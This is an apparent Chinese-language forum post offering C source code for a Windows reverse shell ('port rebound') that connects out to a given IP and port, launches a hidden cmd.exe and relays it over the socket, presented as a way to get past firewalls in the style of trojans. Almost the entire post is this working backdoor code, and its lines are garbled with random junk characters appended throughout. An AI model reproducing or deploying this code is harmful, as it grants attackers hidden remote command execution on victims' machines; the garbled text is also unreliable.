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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gtRVXgI  
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/* ============================== ufvjW]   
Rebound port in Windows NT !eA6Ejf  
By wind,2006/7 ?L+|b5RS  
===============================*/ <m0m8p"G  
#include $8WeWmY  
#include Rg%Xy`gS  
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#pragma comment(lib,"wsock32.lib") ^F g!.X_  
oz&RNB.K  
void OutputShell(); :@#6]W  
SOCKET sClient; OCv,EZ  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /amWf^z  
V#TNv0&0  
void main(int argc,char **argv) Z7J4r TA  
{ I/)*pzt8  
WSADATA stWsaData; N?><%fra  
int nRet; ~'VVCtA  
SOCKADDR_IN stSaiClient,stSaiServer; KS Q*HO)5  
Ws;X;7tS  
if(argc != 3) vpz l{  
{ +@qIDUiF3  
printf("Useage:\n\rRebound DestIP DestPort\n"); D8\9nHUD`  
return; 7g-{ <d  
} ;YY nIb(  
sfzDE&>'  
WSAStartup(MAKEWORD(2,2),&stWsaData); 0 `$fs.4c  
EnP>  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q]#j,}cN9  
LX{mr{  
stSaiClient.sin_family = AF_INET; uxbLoE  
stSaiClient.sin_port = htons(0); K:b^@>XH  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #+(@i|!ifo  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) UY^TTRrH  
{ \:9<d@?  
printf("Bind Socket Failed!\n"); VfkQc$/  
return; L7nW_  
} >/G[Oo  
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stSaiServer.sin_family = AF_INET; P#-p* 4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _@! yj  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &?Z<"+B8S  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [E)&dl_k  
{  V0!kvIv  
printf("Connect Error!"); `Ln1g@  
return; JQ9+kZ  
} .$a|&P=S  
OutputShell(); 'RZ0,SK'  
} cS(=wC  
?D['>Rzu  
void OutputShell() @nOuFX4  
{ 2[i(XG{/  
char szBuff[1024];  3 EOuJ  
SECURITY_ATTRIBUTES stSecurityAttributes; FZtT2Z4&i  
OSVERSIONINFO stOsversionInfo; L b-xc]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; wo9`-o6  
STARTUPINFO stStartupInfo; gdkHaLL"  
char *szShell; A@jBn6  
PROCESS_INFORMATION stProcessInformation; #@m6ag.  
unsigned long lBytesRead; J+l#!gk$!  
&Xh=bM'/%m  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); lw _@(E]E  
aj]pN,g@N  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); KN'twPFq  
stSecurityAttributes.lpSecurityDescriptor = 0; \ 0.!al0  
stSecurityAttributes.bInheritHandle = TRUE; 't+'rG6x  
=Y*zF>#lP  
5h6-aQU[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); \?[m%$A  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); i4lB ]k  
&n]]OPo  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g=jB'h?  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; '#lc?Y(pJ2  
stStartupInfo.wShowWindow = SW_HIDE; pER[^LH_)  
stStartupInfo.hStdInput = hReadPipe; MUUhg  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ?N]G;%3/  
W/.Wp|C}K3  
GetVersionEx(&stOsversionInfo); \ESNfL5  
5MK.>3fE  
switch(stOsversionInfo.dwPlatformId) y\Wp} }  
{ .t.4y. 97  
case 1: ='6@^6y  
szShell = "command.com"; p~OX1RBI  
break; ?dmw z4k0  
default: n^` `)"  
szShell = "cmd.exe"; #rQT)n  
break; \jr-^n]  
} #g~]2x  
zz #IY'dwT  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &?# YjU"  
+de5y]1H,|  
send(sClient,szMsg,77,0); 4iY <7l8  
while(1) 1rV9dM#F  
{ 7pM&))R  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); b6g/SIae  
if(lBytesRead) -qG7,t  
{ 1;HL=F  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); irMBd8WG  
send(sClient,szBuff,lBytesRead,0); Ct]? /  
} /w2NO9Q  
else Sg1 ,9[pb  
{ m}t`43}QE  
lBytesRead=recv(sClient,szBuff,1024,0); Q}uh`?t  
if(lBytesRead<=0) break; wsgT`M'J[  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Yu:($//w  
} o(D6  
} n<Ki.;-ZE  
 rB_ESNx  
return; Mo\nY5  
}
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